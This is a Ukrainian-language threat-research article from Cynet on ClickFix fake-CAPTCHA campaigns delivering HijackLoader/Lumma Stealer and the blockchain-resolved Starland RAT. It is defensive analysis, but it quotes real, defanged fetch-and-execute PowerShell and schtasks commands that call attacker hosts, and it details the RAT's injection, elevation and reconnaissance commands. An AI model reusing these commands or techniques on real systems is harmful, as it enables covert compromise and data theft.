Повернення ClickFix: від масового поширення HijackLoader до прихованих RAT EtherHiding

Короткий огляд

Останніми роками атаки ClickFix стали невід’ємною частиною соціальної інженерії. Ця тактика виявилася настільки успішною, що еволюціонувала в нову атаку під назвою ConsentFix, яка дозволяє зловмисникам викрадати токени хмарних облікових записів. Як і очікувалося, методи таких атак продовжують адаптуватися в міру того, як зростає їхня впізнаваність та частота виявлення командами захисту.

Компанія Cynet зафіксувала кілька загроз, які зловживали хвилею атак ClickFix, зокрема HijackLoader та Starland RAT, що використовує техніку Etherhiding для отримання адрес URL серверів C&C. Кампанія HijackLoader спостерігалася у великих обсягах як у внутрішній телеметрії, так і у відкритих джерелах (OSINT). Традиційно для HijackLoader, у ній зловживали шкідливими командами PowerShell з атаки ClickFix, які завантажували файл MSI, що містив сам завантажувач. Нова версія Starland RAT встановлювалася через атаку ClickFix, яка створювала заплановане завдання для запуску шкідливої команди PowerShell. Вона, своєю чергою, виконувала шкідливий байт-код Python, що з’єднувався з C&C для отримання подальших інструкцій.

У цій статті детально розглядаються дві такі кампанії, які Cynet виявила в реальних умовах: масштабну операцію HijackLoader, що ховалася за троянізованими інсталяторами MSI, та більш приховану кампанію Starland RAT, яка отримує свою адресу C&C безпосередньо з блокчейну Ethereum. Навіть така проста техніка, як «скопіювати та вставити», поєднується зі все складнішими методами ухилення – від підвантаження шкідливих компонентів через чинні виконувані файли (legitimate-binary sideloading) до визначення серверів C&C на базі блокчейну. Відповідно, фахівцям з кібербезпеки потрібно розглядати загрозу ClickFix набагато ширше, ніж просто як метод доставки шкідливого ПЗ.

Зміна тенденцій у соціальній інженерії: від прихованої компрометації до обов’язкової взаємодії з користувачем

Ще якихось десять років тому вразливості в Internet Explorer, Chrome та Adobe Flash експлуатувалися масово й повсюдно. Набори експлойтів, такі як Rig та Angler EK, тоді беззаперечно домінували – саме на них припадала значна частка всіх випадків компрометації систем шкідливим ПЗ. Секрет їхнього успіху полягав у здатності автоматично визначати версію браузера чи Flash в об’єкта атаки, запускати відповідний код експлойту та успішно виконувати шкідливе програмне забезпечення на його комп’ютері. При цьому від самої цілі не вимагалося жодних дій – ані завантаження файлів, ані подвійного кліку по корисному навантаженню.

Ці так звані drive-by атаки були надзвичайно ефективними, оскільки потребували мінімального втручання користувача, що є вкрай бажаною характеристикою для будь-якого вектора компрометації.

Певний час здавалося, що соціальна інженерія відходить у минуле, а майбутнє початкового доступу належить експлойтам для браузерів. Зловмисникам більше не потрібно було нікого обманювати – набори експлойтів могли автоматично виконувати їхні завдання за допомогою шкідливого JavaScript, вбудованого у скомпрометовані вебсайти. Однак, коли ця модель масштабної та прихованої експлуатації стала дедалі менш життєздатною, екосистема програмного забезпечення почала діяти у відповідь.

Розробники браузерів посилили захист свого ПЗ

Компанія Adobe оголосила про припинення підтримки Flash, і в наступні роки набори експлойтів ставали все менш актуальними. Мрія зловмисників про автоматичну компрометацію цільових пристроїв добігла кінця. Як наслідок, соціальна інженерія продовжила відігравати ключову роль у ландшафті кіберзагроз, оскільки люди й досі залишаються найслабшою ланкою.

У міру того як експлуатація через браузери йшла на спад, зловмисники дедалі частіше поверталися до методів, які вимагали взаємодії з користувачем, а не прихованої компрометації. Згодом макроси Office тимчасово повернули свої позиції, оскільки нападники знаходили креативні способи обманом змусити користувачів їх увімкнути. Однак у 2022 році компанія Microsoft ухвалила важливе рішення, яке спричинило значний зсув у ландшафті загроз – макроси для документів Office, завантажених з інтернету, почали вимикатися за замовчуванням. Макроси знову стали менш поширеними, коли зловмисники перейшли на інші методи доставки. Серед них – файли LNK, образи ISO для обходу механізму Mark of the Web (MotW) і навіть старий трюк із подвійним розширенням, який змушував користувачів думати, що вони відкривають файл .docx, тоді як насправді запускався .exe. Ці техніки й надалі покладалися на обман, часто створюючи відчуття терміновості навколо таких речей, як неочікуваний інвойс чи банківський переказ. Проте загальна тенденція була очевидною: коли технічні шляхи для атак звужувалися, зловмисники продовжували знаходити нові способи змусити користувача виконати критично важливу дію. А що, якби цей крок можна було подати не як відкриття файлу, а як виправлення технічної помилки?

Експансія ClickFix

Протягом останніх кількох років у ландшафті загроз стрімко з’явилася нова техніка, що отримала назву ClickFix. У звіті, опублікованому минулого року, компанія Microsoft зазначила, що 47% зафіксованих нею методів початкового доступу припадали на ClickFix, що вивело цей підхід вперед порівняно з такими перевіреними часом векторами, як фішинг. Суть методу дуже проста: люди постійно проходять перевірки CAPTCHA на різних вебсайтах, особливо в епоху штучного інтелекту, коли боти зустрічаються всюди. То чому б не зробити фальшиву CAPTCHA, яка копіює шкідливу команду в буфер обміну та просить користувача натиснути кілька клавіш? Це вимагає мінімум зусиль як від зловмисника, так і від самого користувача, що, ймовірно, і стало запорукою такого успіху. Кампанії ClickFix розпочинаються як безфайлові і виглядають як справжні дії користувача. Більше того, нещодавнє дослідження Cynet продемонструвало, як атаки в стилі ClickFix можуть призвести до отримання зловмисником прямого доступу до управління (hands-on-keyboard) за лічені хвилини. Це яскраво підкреслює, наскільки швидко такі, здавалося б, прості взаємодії здатні перерости в повну компрометацію.

Цей самий сценарій із копіюванням та вставленням виявився настільки ефективним, що зловмисники швидко почали застосовувати його за межами традиційної доставки шкідливого ПЗ

Замість того щоб використовувати фальшиве «виправлення» для запуску корисного навантаження, вони адаптували цю техніку для захоплення хмарних облікових записів. Саме тут і з’являється ConsentFix, також відома як AuthCodeFix. Ці атаки часто починаються з отруєння пошукової видачі (SEO poisoning) або шкідливої реклами, що веде користувача на цільову сторінку із запитом на автентифікацію в обліковому записі Microsoft. Коли користувач натискає кнопку автентифікації, відкривається справжня сторінка входу Microsoft, через що процес виглядає легітимним. Проте згодом процес авторизації завершується помилкою, і саме тут у гру вступає «виправлення»: користувачу дають вказівку скопіювати URL-адресу невдалого переспрямування, яка часто вказує на неіснуючу адресу localhost, назад на шкідливий вебсайт. Ця URL-адреса містить код авторизації OAuth, який зловмисники можуть обміняти на токени та використати для доступу до облікового запису Microsoft атакованого користувача. Отримавши доступ, вони можуть проводити розвідку середовища, компрометувати корпоративну пошту та здійснювати додаткову шкідливу діяльність – і все це без жодного завантаження шкідливого ПЗ на цільовий пристрій.

Хоча ConsentFix ще не досягла таких масштабів, як ClickFix, на російськомовному хакерському форумі XSS вже доступний інструментарій для розгортання цієї атаки.

Хронологія ключових подій ClickFix

Жовтень 2023

Поява

ClickFix поширюється через підроблені антибот-сторінки.
Користувачів обманом змушують запускати PowerShell.
Витоки техніки пов’язані з ClearFake та EtherHiding.

Березень–квітень 2024

Поява назви та масштабування

Proofpoint відстежує хвилі атак TA571 і ClearFake.
Перехоплення буфера обміну та самостійне виконання команд користувачем.
З’являється термін «ClickFix».

Травень–вересень 2024

Використання кіберзлочинцями

Техніка поширюється серед кіберзлочинців.
Lumma Stealer домінує в кампаніях.
Шкідлива реклама та підроблені CAPTCHA дають змогу масштабувати поширення.

Жовтень 2024 – лютий 2025

Використання APT-групами

APT28, MuddyWater і Kimsuky починають застосовувати цей метод.
Розширення його використання у шпигунських операціях свідчить про зрілість техніки.

Перше півріччя 2025

Широкомасштабний вплив

Один із провідних у світі векторів початкового доступу.
Близько 8% заблокованих атак.
47% сповіщень Defender IR.

Кінець 2024–2025

Комерціалізація

Готові набори для створення атак продаються на підпільних майданчиках за $200–$1,5 тис. на місяць.
Варіант FileFix переходить до виконання через Провідник Windows.

Грудень 2025

ConsentFix

Push Security вводить назву «ConsentFix».
Перехоплення надання OAuth-дозволів через Azure CLI.
Дає змогу обходити захист на основі паролів, MFA та ключів доступу (passkeys).

Більшість сучасних цільових сторінок ClickFix експлуатують саме цю потребу у знайомих інтерфейсах, маскуючись під сторінки Cloudflare або reCAPTCHA, щоб виглядати справжніми для необачних користувачів. Наведені нижче приклади демонструють поширені шаблони сторінок ClickFix, виявлені під час нещодавніх кампаній.

Example of a reCAPTCHA ClickFix site
Example of a Cloudflare ClickFix site

Cynet стикався з кількома кампаніями ClickFix, які намагалися проникнути в інфраструктуру клієнтів. Оскільки обсяги та різноманітність таких кампаній продовжують зростати, ClickFix став важливим напрямком для вивчення цієї техніки та допомоги в захисті користувачів від подібних атак. У цій статті розглядаються дві кампанії, які вдалося виявити: кампанію HijackLoader, що характеризувалася різким сплеском активності, та більш приховану кампанію ClickFix, яка встановлювала RAT на базі Python.

HijackLoader розгортає Lumma Stealer через шкідливі файли MSI

Як підготовлений скрипт PowerShell доставляє шкідливий файл MSI та виконує приховано завантажені компоненти

 ClickFix Infection Chain The MSI Side-Loading Example

Початковий доступ та підготовка

Запуск через ClickFix та PowerShell

Доставка корисного навантаження

Декодування скрипта та доставка шкідливого файлу MSI

Підміна DLL та виконання

Завантаження DLL та виконання фінальних компонентів

У квітні компанія Cynet виявила кампанію HijackLoader на базі ClickFix, яка розгортала Lumma Stealer через шкідливі файли MSI. Ці інсталятори MSI містили легітимні, безпечні виконувані файли – наприклад, безкоштовну утиліту SysInspector від ESET, – приховуючи шкідливе ПЗ у DLL-бібліотеці, що підвантажувалася підписаним виконуваним файлом ESET. Було помічено, що в цій кампанії використовувалося кілька варіацій схожих команд ClickFix, які застосовували легкі завантажувачі PowerShell для ініціалізації наступних етапів. У деяких варіантах зловмисники додавали до команд фальшиві коментарі, щоб змусити користувачів повірити, ніби вони дотримуються інструкцій справжньої перевірки CAPTCHA.

Початковий доступ

Як і в інших атаках ClickFix, цей ланцюг атаки розпочинався з того, що користувачу показували шахрайську вебсторінку із вказівкою виконати команду на своєму пристрої для виправлення помилки. Судячи з ідентифікатора RAY-ID у команді, сторінка, ймовірно, маскувалася під Cloudflare, щоб запит виглядав цілком безпечним для необачного користувача.

Потім користувач відкривав вікно «Виконати» і вводив надану команду. Наступна команда PowerShell була зафіксована в інфраструктурі кількох клієнтів у квітні:

iex(irm 85[.]11[.]161[.]198:9191 -UseBasicParsing) # RAY-ID:735428-SGTP5; Anti-bot autodetection 

Хоча немає доступу до оригінального сайту, який був джерелом цього конкретної компрометації, виявлено інші сайти ClickFix. Вони розповсюджували схожу команду, використовували спільну інфраструктуру та віддавали схожий файл MSI:

ClickFix site from the HijackLoader campaign masquerading as FACEIT and Cloudflare

Виконання

Наведена вище команда завантажувала об’ємний скрипт PowerShell із hXXp[://]85[.]11[.]161[.]198:9191/ за допомогою командлета Invoke-RestMethod та виконувала його безпосередньо в пам’яті, використовуючи Invoke-Expression. Після запуску, на наступному етапі, додатковий код PowerShell, закодований у форматі Base64, записувався у файл PS1 та одразу виконувався. Це був останній етап із використанням PowerShell у ланцюгу компрометації. Його завданням було завантажити файл із сервера C&C, який, судячи з коду, міг бути у форматі .exe або .msi. У цьому конкретному ланцюгу компрометації зафіксовано завантаження саме файлу MSI.

Файл MSI встановлювався у прихованому режимі з використанням прапорця /qn, щоб гарантувати відсутність будь-якого інтерфейсу користувача (UI), після чого встановлене програмне забезпечення негайно запускалося. У цьому випадку спостерігалося, як файл MSI інсталював утиліту SysInspector від ESET під назвою Celerity-Monitor.exe, а разом із нею – шкідливу бібліотеку DLL sciter-x.dll, яку потім завантажував файл Celerity-Monitor.exe.

Ухилення від захисту

Завантажений скрипт містив багато безпечного «сміттєвого» коду (junk code), щоб приховати свої справжні наміри. Проте цей код постійно повторювався, що дозволило легко виявити справжній шкідливий код, який був закодований у форматі Base64 у змінній $data. На відміну від більшості стейджерів PowerShell, зокрема й тих, що використовувалися на попередніх етапах цього ланцюга компрометації, цей скрипт застосував об’єкт COM для завантаження файлу MSI. У багатьох атаках із використанням файлів MSI зловмисники можуть зловживати функцією в msiexec.exe, яка дозволяє напряму передавати URL-адресу до віддаленого файлу MSI. Але в цьому випадку нападники вирішили завантажити файл самостійно, використавши менш поширений у PowerShell метод – імовірно, щоб уникнути виявлення.

PowerShell script that downloads the MSI file via COM

Файл sciter-x.dll, схоже, спочатку був офіційною бібліотекою DLL, яку пропатчили для читання файлу під назвою filter-config.tmp. Бібліотека розшифровувала цей файл, зчитувала з нього назву оригінальної бібліотеки DLL для завантаження – у цьому випадку це був файл tapisrv.dll – завантажувала цю DLL у пам’ять, перезаписувала її пам’ять шеллкодом (shellcode), розшифрованим із файлу, та передавала йому виконання. Така техніка здатна обходити певні механізми виявлення систем EDR (Endpoint Detection and Response), оскільки виконання шеллкоду відбувається в просторі пам’яті дійсного модуля, а не шляхом виділення нових приватних регіонів пам’яті.

Main files installed by the HijackLoader MSI

Управління та контроль

Після запуску шеллкоду на диск було збережено та запущено ще кілька виконуваних файлів, зокрема

AppData\Roaming\winrepository_v2_0\Crisp.exe

та

 AppData\Local\Temp\EXEMessenger_net40.exe

Після виконання файл EXEMessenger_net40.exe спробував встановити зворотне з’єднання з IP-адресою 91[.]84[.]123[.]231, але на момент аналізу сервер уже не відповідав. Він також неодноразово надсилав запити HTTP HEAD до http://example.com – імовірно, щоб допомогти реальному трафіку C&C злитися з безпечним трафіком.

Starland RAT – новий ланцюг компрометації та нові команди

Як підготовчі етапи ClickFix призводять до виконання PowerShell, пошуку C&C через блокчейн та отримання команд зловмисника.

ClickFix Infection Chain The Starland RAT Example

Початковий доступ та підготовка

Встановлення точки входу та закріплення

Виконання PowerShell

Завантаження підготовленого скрипта та розгортання RAT

Управління та контроль

Визначення адреси URL C&C та очікування команд

На відміну від попередньої кампанії, яка виглядала масштабною та мала велику кількість зразків у реальних умовах (in the wild), ця кампанія була значно менш помітною і фіксувалася лише в інфраструктурі одного клієнта, зрештою встановлюючи Starland RAT на цільовий пристрій. Зловмисник обманом змушував користувача виконати команду, яка створювала заплановане завдання. Це завдання, своєю чергою, завантажувало та встановлювало шкідливий програмний компонент на базі Python на пристрій користувача. Шкідливе ПЗ отримувало свою справжню адресу URL сервера C&C з блокчейну Ethereum, використовуючи техніку під назвою EtherHiding.

Cynet вперше зафіксувала цю активність в інфраструктурі клієнта ще у травні 2026 року, до публікації відповідного звіту від Cisco. Досліджена версія Starland RAT, схоже, містить додаткові команди, відсутні у зразку, який аналізувала Cisco.

Початковий доступ

За даними телеметрії, атака розпочалася з команди, введеної через вікно «Виконати» у Windows. Спочатку її виявлено завдяки телеметрії реєстру RunMRU, яка фіксує команди, нещодавно виконані через вікно «Виконати», у гілці HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU. У цьому випадку команда не запускала завантажувач PowerShell як прямий дочірній процес explorer.exe. Натомість вона створювала заплановане завдання, яке запускалося щохвилини та виконувало завантажувач PowerShell уже звідти – імовірно, щоб допомогти зловмисникам уникнути механізмів виявлення, націлених на процеси PowerShell, що породжуються безпосередньо від explorer.exe. Ось зафіксована команда, введена у вікні «Виконати»:

schtasks /create /tr "powershell -C \"iex(irm 39e552145a32ab0a[.]fun/88c9b4d0fd9a9d0033d3757cde345302)\"" /sc minute /mo 1 /tn                                "Enter"   

Виконання

Після запуску запланованого завдання воно виконало файл PS1 із директорії AppData\Local\Temp. Потім цей скрипт запустив закодовану у форматі Base64 команду PowerShell, яка намагалася завантажити наступний етап. На останньому етапі з використанням PowerShell завантажувався файл ZIP, що містив проєкт Python, разом із власним інтерпретатором Python та файлом .pyc під назвою LICENSE.txt.

final PowerShell stage

Ухилення від захисту

Етапи з використанням PowerShell для завантаження файлу ZIP застосовували відносно прості форми обфускації, такі як запис рядків у зворотному порядку та конкатенацію рядків, щоб приховати підозрілі фрагменти команд. Кінцеве корисне навантаження, LICENSE.txt, виявилося сильно заплутаним файлом PYC зі складною схемою приховування рядків та імен. Байт-код вдалося декомпілювати за допомогою PyLingual та виконати додаткові скрипти для розшифрування рядків, зашифрованих за алгоритмом XOR із кількома різними ключами. Аналіз відновленого вихідного коду виявив дуже цікавий функціонал: корисне навантаження виявилося кастомним RAT-трояном, що використовував складну техніку під назвою EtherHiding, за якої шкідливе ПЗ отримувало свою адресу URL сервера C&C з блокчейну Ethereum. Зберігаючи справжнє розташування сервера C&C в такий спосіб, зловмисники ускладнили ідентифікацію активного сервера постфактум. Цей RAT виконував завдання, використовуючи метод eth_call через кінцеві точки Polygon RPC для отримання прихованої адреси URL корисного навантаження.

LICENSE.txt script connecting to C&C and executing commands

Управління та контроль

Після отримання прихованої адреси URL сервера C&C RAT запускався та збирав інформацію про поточне середовище перед її відправленням на сервер C&C, де очікував на подальші інструкції. Початково зібрана інформація поміщалася у файл JSON формату:

{ 

"build_id": "captcha",  

"payload_version": "5.1",  

"pc_id": machine_guid,  

"windows_version": windows_version,  

"machine_name": machine_name,  

"username": user_name,  

"av": av,  

"domain": domain,  

"can_elevate": not is_admin() and is_limited_token(),  

"screen": screenshot_in_base64 

} 

Цей файл JSON містив GUID пристрою, отриманий із реєстру, версію Windows, ім’я хоста, ім’я користувача, встановлені антивірусні продукти, домен, інформацію про можливість користувача підвищити привілеї, а також скріншот екрана хоста у форматі PNG, закодований у Base64. Після відправлення цієї інформації RAT очікував на команди. Нижче наведено список команд, які приймає це шкідливе ПЗ – він містить кілька додаткових команд порівняно з тими, про які раніше повідомляла компанія Cisco:

Набір команд Starland RAT

КомандаОпис
shellexecuteВиконує команду, отриману з сервера C&C.
x32Впроваджує 32-бітний шеллкод у dpapimig.exe за допомогою стандартних функцій VirtualAllocEx + WriteProcessMemory + QueueUserAPC.
x32_v2Впроваджує 32-бітний шеллкод у prevhost.exe за допомогою техніки Early Bird injection з використанням QueueUserAPC.
x32_v3Впроваджує 32-бітний шеллкод у efsui.exe за допомогою функцій Nt + QueueUserAPC.
x32_v4Впроваджує 32-бітний шеллкод у systray.exe за допомогою VirtualAllocEx + функцій Nt для запису/захисту та QueueUserAPC.
x64Повторно запускає 64-бітну версію коду з аргументом, що вказує на версію впровадження шеллкоду, яку слід використати.
x64_2Повторно запускає 64-бітну версію коду з аргументом, що вказує на версію впровадження шеллкоду, яку слід використати.
x64_3Повторно запускає 64-бітну версію коду з аргументом, що вказує на версію впровадження шеллкоду, яку слід використати.
x64_4Повторно запускає 64-бітну версію коду з аргументом, що вказує на версію впровадження шеллкоду, яку слід використати.
downloadЗавантажує файл із сервера C&C. Якщо це файл EXE, він запускається. Якщо це файл MSI, він встановлюється у прихованому режимі. Якщо це файл DLL, для його запуску використовується команда regsvr32 /s. Якщо це файл ZIP, він розпаковується. Файли завантажуються в директорію %TMP%.
elevateНамагається запустити RAT з правами адміністратора шляхом виклику UAC. У разі невдачі спроба повторюється.
interactive_startВідкриває інтерактивну оболонку (shell) з можливістю вибору cmd або PowerShell.
botinfoЗбирає інформацію про хост через WMI, Windows API, реєстр та інші команди. Ця інформація включає загальні відомості про систему, дискові накопичувачі, хмарні сховища, розширення браузера, встановлене програмне забезпечення та налаштування безпеки.
screenshotРобить скріншот екрана хоста та зберігає його у файл PNG.

Закріплення в системі та збір інформації

Після виконання Cynet зафіксувала численні команди закріплення та розвідки, ініційовані процесом pythonw.exe. Спочатку шкідливе ПЗ створювало файл LNK у директорії автозавантаження (startup), який запускав pythonw.exe із файлом LICENSE.txt. Потім створювалося нове заплановане завдання під назвою MSIAfterInstall_7861 для запуску LICENSE.txt під час входу в систему. Після налаштування кількох методів закріплення шкідливе ПЗ робило скріншот екрана та збирало безліч даних із системи, зокрема:

  1. встановлені антивірусні продукти;
  2. домен;
  3. результати виконання systeminfo.exe;
  4. поточний користувач та інформація про нього, отримана через команду net user;
  5. системна інформація з класів Win32_ComputerSystem, Win32_Processor, Win32_OperatingSystem та Win32_ShadowCopy;
  6. будь-яка інформація про точки відновлення комп’ютера;
  7. встановлене програмне забезпечення (згідно зі списком програм для видалення в реєстрі);
  8. мережева інформація (IP та MAC адреси);
  9. профілі та налаштування фаєрвола;
  10. чи активовано параметр EnableLUA в реєстрі;
  11. статус Windows Defender на пристрої.
Telemetry of commands executed by LICENSE

Що далі?

Стає очевидним, як ClickFix швидко захопив сучасний ландшафт загроз завдяки своїй простоті та ефективності. Це цілком логічно: в інтернеті користувачів постійно просять підтвердити, що вони люди. Перевірки CAPTCHA стали настільки звичним явищем, що користувачі часто виконують їх не замислюючись. Сьогодні механізми CAPTCHA постійно змінюються та ускладнюються, оскільки боти на базі штучного інтелекту масово сканують вебсторінки. Цілком імовірно, що користувач може натиснути кілька клавіш на клавіатурі, щоб подолати те, що здається йому просто дратівливою перешкодою. Факт залишається фактом: загроза ClickFix, імовірно, залишатиметься актуальною щонайменше ще певний час.

Щоб краще захиститися від атак ClickFix, насамперед необхідно підвищувати обізнаність користувачів про них. Навчання з протидії фішингу вже є усталеною практикою; багато компаній використовують його, щоб навчити співробітників розпізнавати спроби фішингу до того, як вони перетворяться на дорогі інциденти безпеки. Аналогічно, навчання користувачів розпізнавати аномальну поведінку CAPTCHA – наприклад, вказівки виконати команди у своїй системі – може допомогти запобігти цим атакам на рівні людського фактора. Однак фахівцям із захисту також слід уникати сприйняття ClickFix виключно як проблеми, пов’язаної зі шкідливим програмним забезпеченням. Такі техніки, як ConsentFix, демонструють, що зловмисники можуть застосовувати ті самі принципи соціальної інженерії для атак на ідентифікаційні дані у хмарі, що дозволяє їм отримувати токени доступу без виконання жодного коду на цільовому пристрої. Оскільки організації продовжують переносити робочі навантаження в рішення SaaS та хмарні платформи, командам із безпеки слід готуватися до атак у стилі ClickFix, які націлені на ідентифікаційні дані так само агресивно, як і на кінцеві точки.

XDR платформа Cynet

Cynet об’єднує EDR, EPP, NDR, ITDR, SOAR, безпеку електронної пошти, захист SaaS і хмарних середовищ, мобільну безпеку та інші безпекові можливості в єдиній уніфікованій платформі. Платформа забезпечує комплексну видимість і захист усього середовища, може бути розгорнута за лічені години, а не тижні, автоматизує рутинні завдання з безпеки для зменшення частки ручної праці, а також використовує вбудований ШІ для мінімізації хибних спрацьовувань і прискорення виявлення загроз та реагування на них.

Отримати пробну версію Cynet

Підписатися на новини